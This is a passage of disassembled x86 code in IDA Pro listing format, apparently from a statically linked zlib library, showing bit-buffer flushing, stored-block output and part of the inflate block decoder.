		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+eax*4+8Ch]
		mov	eax, [ebp+var_4]
		add	eax, edx
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		jmp	short loc_4C49C5
; ---------------------------------------------------------------------------


loc_4C49EE:				; CODE XREF: sub_4C49AA+1Fj
					; sub_4C49AA+6Ej
		cmp	[ebp+var_C], 80h
		jge	short loc_4C4A1A
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+edx*4+8Ch]
		mov	edx, [ebp+var_8]
		add	edx, ecx
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_4C49EE
; ---------------------------------------------------------------------------


loc_4C4A1A:				; CODE XREF: sub_4C49AA+4Bj
					; sub_4C49AA+9Aj
		cmp	[ebp+var_C], 100h
		jge	short loc_4C4A46
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	ax, [edx+ecx*4+8Ch]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx
		jmp	short loc_4C4A1A
; ---------------------------------------------------------------------------


loc_4C4A46:				; CODE XREF: sub_4C49AA+77j
		mov	eax, [ebp+var_8]
		shr	eax, 2
		cmp	eax, [ebp+var_4]
		sbb	ecx, ecx
		inc	ecx
		mov	edx, [ebp+arg_0]
		mov	[edx+1Ch], cl
		mov	esp, ebp
		pop	ebp
		retn
sub_4C49AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C4A5C	proc near		; CODE XREF: sub_4C2D20+ACp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0


loc_4C4A67:				; CODE XREF: sub_4C4A5C+36j
		mov	eax, [ebp+arg_0]
		and	eax, 1
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_0]
		shr	edx, 1
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_4]
		sub	ecx, 1
		mov	[ebp+arg_4], ecx
		cmp	[ebp+arg_4], 0
		jg	short loc_4C4A67
		mov	eax, [ebp+var_4]
		shr	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4C4A5C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C4A9D	proc near		; CODE XREF: sub_4C1C03+25Bp
					; sub_4C1C03+4D6p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+16B4h], 10h
		jnz	short loc_4C4B24
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+16B0h]
		and	edx, 0FFh
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+16B0h]
		sar	edx, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		mov	ecx, [ebp+arg_0]
		mov	word ptr [ecx+16B0h], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+16B4h], 0
		jmp	short loc_4C4B84
; ---------------------------------------------------------------------------


loc_4C4B24:				; CODE XREF: sub_4C4A9D+Dj
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+16B4h], 8
		jl	short loc_4C4B84
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		mov	eax, [ebp+arg_0]
		mov	al, [eax+16B0h]
		mov	[edx+ecx], al
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		mov	ecx, [ebp+arg_0]
		mov	dx, [ecx+16B0h]
		shr	dx, 8
		mov	eax, [ebp+arg_0]
		mov	[eax+16B0h], dx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+16B4h]
		sub	edx, 8
		mov	eax, [ebp+arg_0]
		mov	[eax+16B4h], edx


loc_4C4B84:				; CODE XREF: sub_4C4A9D+85j
					; sub_4C4A9D+91j
		pop	ebp
		retn
sub_4C4A9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C4B86	proc near		; CODE XREF: sub_4C20F2+3B0p
					; sub_4C4C42+7p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+16B4h], 8
		jle	short loc_4C4BF4
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+16B0h]
		and	edx, 0FFh
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+16B0h]
		sar	edx, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		jmp	short loc_4C4C27
; ---------------------------------------------------------------------------


loc_4C4BF4:				; CODE XREF: sub_4C4B86+Dj
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+16B4h], 0
		jle	short loc_4C4C27
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		mov	ecx, [ebp+arg_0]
		mov	cl, [ecx+16B0h]
		mov	[eax+edx], cl
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		add	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+14h], eax


loc_4C4C27:				; CODE XREF: sub_4C4B86+6Cj
					; sub_4C4B86+78j
		mov	edx, [ebp+arg_0]
		mov	word ptr [edx+16B0h], 0
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+16B4h], 0
		pop	ebp
		retn
sub_4C4B86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C4C42	proc near		; CODE XREF: sub_4C1AC4+133p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4C4B86
		add	esp, 4
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+16ACh], 8
		cmp	[ebp+arg_C], 0
		jz	loc_4C4D18
		mov	edx, [ebp+arg_8]
		and	edx, 0FFFFh
		and	edx, 0FFh
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		mov	ecx, [ebp+arg_8]
		and	ecx, 0FFFFh
		sar	ecx, 8
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		mov	[eax+edx], cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+14h], ecx
		mov	eax, [ebp+arg_8]
		not	eax
		and	eax, 0FFFFh
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+14h]
		mov	[edx+ecx], al
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		add	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+14h], eax
		mov	edx, [ebp+arg_8]
		not	edx
		and	edx, 0FFFFh
		sar	edx, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx


loc_4C4D18:				; CODE XREF: sub_4C4C42+20j
					; sub_4C4C42+112j
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_8]
		sub	edx, 1
		mov	[ebp+arg_8], edx
		test	ecx, ecx
		jz	short loc_4C4D56
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		mov	[ecx+eax], dl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+14h], ecx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		jmp	short loc_4C4D18
; ---------------------------------------------------------------------------


loc_4C4D56:				; CODE XREF: sub_4C4C42+E4j
		pop	ebp
		retn
sub_4C4C42	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C4D60	proc near		; CODE XREF: sub_4C0920+5Fp
					; sub_4C0B75+467p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jz	short loc_4C4D74
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+3Ch]
		mov	[eax], edx


loc_4C4D74:				; CODE XREF: sub_4C4D60+7j
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax], 4
		jz	short loc_4C4D84
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx], 5
		jnz	short loc_4C4D9B


loc_4C4D84:				; CODE XREF: sub_4C4D60+1Aj
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+0Ch]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+28h]
		push	edx
		mov	eax, [ebp+arg_4]
		call	dword ptr [eax+24h]
		add	esp, 8


loc_4C4D9B:				; CODE XREF: sub_4C4D60+22j
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx], 6
		jnz	short loc_4C4DB6
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		call	sub_4C70F9
		add	esp, 8


loc_4C4DB6:				; CODE XREF: sub_4C4D60+41j
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx], 0
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+1Ch], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+20h], 0
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		mov	[edx+34h], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+34h]
		mov	[edx+30h], ecx
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+38h], 0
		jz	short loc_4C4E15
		push	0
		push	0
		push	0
		mov	eax, [ebp+arg_0]
		call	dword ptr [eax+38h]
		add	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	[ecx+3Ch], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+3Ch]
		mov	[edx+30h], ecx


loc_4C4E15:				; CODE XREF: sub_4C4D60+92j
		pop	ebp
		retn
sub_4C4D60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C4E17	proc near		; CODE XREF: sub_4C09F4+126p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	40h
		push	1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		push	ecx
		mov	edx, [ebp+arg_0]
		call	dword ptr [edx+20h]
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4C4E40
		mov	eax, [ebp+var_4]
		jmp	loc_4C4F0B
; ---------------------------------------------------------------------------


loc_4C4E40:				; CODE XREF: sub_4C4E17+1Fj
		push	5A0h
		push	8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		push	ecx
		mov	edx, [ebp+arg_0]
		call	dword ptr [edx+20h]
		add	esp, 0Ch
		mov	ecx, [ebp+var_4]
		mov	[ecx+24h], eax
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+24h], 0
		jnz	short loc_4C4E81
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+28h]
		push	edx
		mov	eax, [ebp+arg_0]
		call	dword ptr [eax+24h]
		add	esp, 8
		xor	eax, eax
		jmp	loc_4C4F0B
; ---------------------------------------------------------------------------


loc_4C4E81:				; CODE XREF: sub_4C4E17+4Dj
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	1
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+28h]
		push	eax
		mov	ecx, [ebp+arg_0]
		call	dword ptr [ecx+20h]
		add	esp, 0Ch
		mov	edx, [ebp+var_4]
		mov	[edx+28h], eax
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+28h], 0
		jnz	short loc_4C4ED5
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+24h]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		push	ecx
		mov	edx, [ebp+arg_0]
		call	dword ptr [edx+24h]
		add	esp, 8
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+28h]
		push	edx
		mov	eax, [ebp+arg_0]
		call	dword ptr [eax+24h]
		add	esp, 8
		xor	eax, eax
		jmp	short loc_4C4F0B
; ---------------------------------------------------------------------------


loc_4C4ED5:				; CODE XREF: sub_4C4E17+8Dj
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+28h]
		add	edx, [ebp+arg_8]
		mov	eax, [ebp+var_4]
		mov	[eax+2Ch], edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_4]
		mov	[ecx+38h], edx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		push	0
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_4C4D60
		add	esp, 0Ch
		mov	eax, [ebp+var_4]


loc_4C4F0B:				; CODE XREF: sub_4C4E17+24j
					; sub_4C4E17+65j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4C4E17	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C4F0F	proc near		; CODE XREF: sub_4C0B75+400p

var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
Size		= dword	ptr -10h
var_C		= dword	ptr -0Ch
Dst		= dword	ptr -8
Src		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		mov	[ebp+Src], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+4]
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+20h]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+34h]
		mov	[ebp+Dst], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+Dst]
		cmp	edx, [ecx+30h]
		jnb	short loc_4C4F5D
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+30h]
		sub	ecx, [ebp+Dst]
		sub	ecx, 1
		mov	[ebp+var_54], ecx
		jmp	short loc_4C4F69
; ---------------------------------------------------------------------------


loc_4C4F5D:				; CODE XREF: sub_4C4F0F+3Bj
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+2Ch]
		sub	eax, [ebp+Dst]
		mov	[ebp+var_54], eax


loc_4C4F69:				; CODE XREF: sub_4C4F0F+4Cj
		mov	ecx, [ebp+var_54]
		mov	[ebp+var_18], ecx


loc_4C4F6F:				; CODE XREF: sub_4C4F0F:loc_4C625Cj
		mov	edx, 1
		test	edx, edx
		jz	loc_4C6261
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	[ebp+var_58], ecx
		cmp	[ebp+var_58], 9
		ja	loc_4C61FD
		mov	edx, [ebp+var_58]
		jmp	ds:off_4C6265[edx*4]


loc_4C4F98:				; CODE XREF: sub_4C4F0F+12Cj
					; DATA XREF: .text:off_4C6265o
		cmp	[ebp+var_14], 3
		jnb	loc_4C5040
		cmp	[ebp+var_1C], 0
		jz	short loc_4C4FB1
		mov	[ebp+arg_8], 0
		jmp	short loc_4C500C
; ---------------------------------------------------------------------------


loc_4C4FB1:				; CODE XREF: sub_4C4F0F+97j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_C]
		mov	[eax+20h], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_14]
		mov	[edx+1Ch], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_1C]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+Src]
		sub	ecx, [eax]
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+8]
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+Src]
		mov	[edx], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+Dst]
		mov	[ecx+34h], edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4C7C50
		add	esp, 0Ch
		jmp	loc_4C6261
; ---------------------------------------------------------------------------


loc_4C500C:				; CODE XREF: sub_4C4F0F+A0j
		mov	eax, [ebp+var_1C]
		sub	eax, 1
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+Src]
		xor	edx, edx
		mov	dl, [ecx]
		mov	ecx, [ebp+var_14]
		shl	edx, cl
		mov	eax, [ebp+var_C]
		or	eax, edx
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+Src]
		add	ecx, 1
		mov	[ebp+Src], ecx
		mov	edx, [ebp+var_14]
		add	edx, 8
		mov	[ebp+var_14], edx
		jmp	loc_4C4F98
; ---------------------------------------------------------------------------


loc_4C5040:				; CODE XREF: sub_4C4F0F+8Dj
		mov	eax, [ebp+var_C]
		and	eax, 7
		mov	[ebp+Size], eax
		mov	ecx, [ebp+Size]
		and	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+18h], ecx
		mov	eax, [ebp+Size]
		shr	eax, 1
		mov	[ebp+var_5C], eax
		cmp	[ebp+var_5C], 3
		ja	loc_4C521E
		mov	ecx, [ebp+var_5C]
		jmp	ds:off_4C628D[ecx*4]


loc_4C5071:				; CODE XREF: sub_4C4F0F+82j
					; DATA XREF: .text:off_4C628Do
		mov	edx, [ebp+var_C]
		shr	edx, 3
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_14]
		sub	eax, 3
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_14]
		and	ecx, 7
		mov	[ebp+Size], ecx
		mov	edx, [ebp+var_C]
		mov	ecx, [ebp+Size]
		shr	edx, cl
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_14]
		sub	eax, [ebp+Size]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx], 1
		jmp	loc_4C521E
; ---------------------------------------------------------------------------


loc_4C50AE:				; CODE XREF: sub_4C4F0F+82j
					; sub_4C4F0F+15Bj
					; DATA XREF: ...
		mov	edx, [ebp+arg_4]
		push	edx
		lea	eax, [ebp+var_2C]
		push	eax
		lea	ecx, [ebp+var_24]
		push	ecx
		lea	edx, [ebp+var_20]
		push	edx
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_4C7C1B
		add	esp, 14h
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+var_2C]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		mov	ecx, [ebp+var_20]
		push	ecx
		mov	edx, [ebp+var_28]
		push	edx
		call	sub_4C6350
		add	esp, 14h
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+4], 0
		jnz	short loc_4C5157
		mov	[ebp+arg_8], 0FFFFFFFCh
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_C]
		mov	[eax+20h], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_14]
		mov	[edx+1Ch], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_1C]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+Src]
		sub	ecx, [eax]
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+8]
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+Src]
		mov	[edx], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+Dst]
		mov	[ecx+34h], edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4C7C50
		add	esp, 0Ch
		jmp	loc_4C6261
; ---------------------------------------------------------------------------


loc_4C5157:				; CODE XREF: sub_4C4F0F+1E4j
		mov	eax, [ebp+var_C]
		shr	eax, 3
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_14]
		sub	ecx, 3
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx], 6
		jmp	loc_4C521E
; ---------------------------------------------------------------------------


loc_4C5177:				; CODE XREF: sub_4C4F0F+82j
					; sub_4C4F0F+15Bj
					; DATA XREF: ...
		mov	eax, [ebp+var_C]
		shr	eax, 3
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_14]
		sub	ecx, 3
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx], 3
		jmp	loc_4C521E
; ---------------------------------------------------------------------------


loc_4C5197:				; CODE XREF: sub_4C4F0F+82j
					; sub_4C4F0F+15Bj
					; DATA XREF: ...
		mov	eax, [ebp+var_C]
		shr	eax, 3
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_14]
		sub	ecx, 3
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx], 9
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+18h], offset aInvalidBlockTy ; "invalid block type"
		mov	[ebp+arg_8], 0FFFFFFFDh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_1C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+Src]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+Src]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+Dst]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4C7C50
		add	esp, 0Ch
		jmp	loc_4C6261
; ---------------------------------------------------------------------------


loc_4C521E:				; CODE XREF: sub_4C4F0F+152j
					; sub_4C4F0F+19Aj ...
		jmp	loc_4C625C
; ---------------------------------------------------------------------------


loc_4C5223:				; CODE XREF: sub_4C4F0F+82j
					; sub_4C4F0F+3B7j
					; DATA XREF: ...
		cmp	[ebp+var_14], 20h
		jnb	loc_4C52CB
		cmp	[ebp+var_1C], 0
		jz	short loc_4C523C
		mov	[ebp+arg_8], 0
		jmp	short loc_4C5297
; ---------------------------------------------------------------------------


loc_4C523C:				; CODE XREF: sub_4C4F0F+322j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_1C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+Src]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+Src]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+Dst]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4C7C50
		add	esp, 0Ch
		jmp	loc_4C6261
; ---------------------------------------------------------------------------


loc_4C5297:				; CODE XREF: sub_4C4F0F+32Bj
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+Src]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+var_14]
		shl	eax, cl
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+Src]
		add	edx, 1
		mov	[ebp+Src], edx
		mov	eax, [ebp+var_14]
		add	eax, 8
		mov	[ebp+var_14], eax
		jmp	loc_4C5223
; ---------------------------------------------------------------------------


loc_4C52CB:				; CODE XREF: sub_4C4F0F+318j
		mov	ecx, [ebp+var_C]
		not	ecx
		shr	ecx, 10h
		and	ecx, 0FFFFh
		mov	edx, [ebp+var_C]
		and	edx, 0FFFFh
		cmp	ecx, edx
		jz	short loc_4C535B
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 9
		mov	ecx, [ebp+arg_4]
		mov	dword ptr [ecx+18h], offset aInvalidStoredB ; "invalid stored block lengths"
		mov	[ebp+arg_8], 0FFFFFFFDh
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_C]
		mov	[edx+20h], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_14]
		mov	[ecx+1Ch], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_1C]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+Src]
		sub	eax, [edx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		add	edx, eax
		mov	eax, [ebp+arg_4]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+Src]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+Dst]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4C7C50
		add	esp, 0Ch
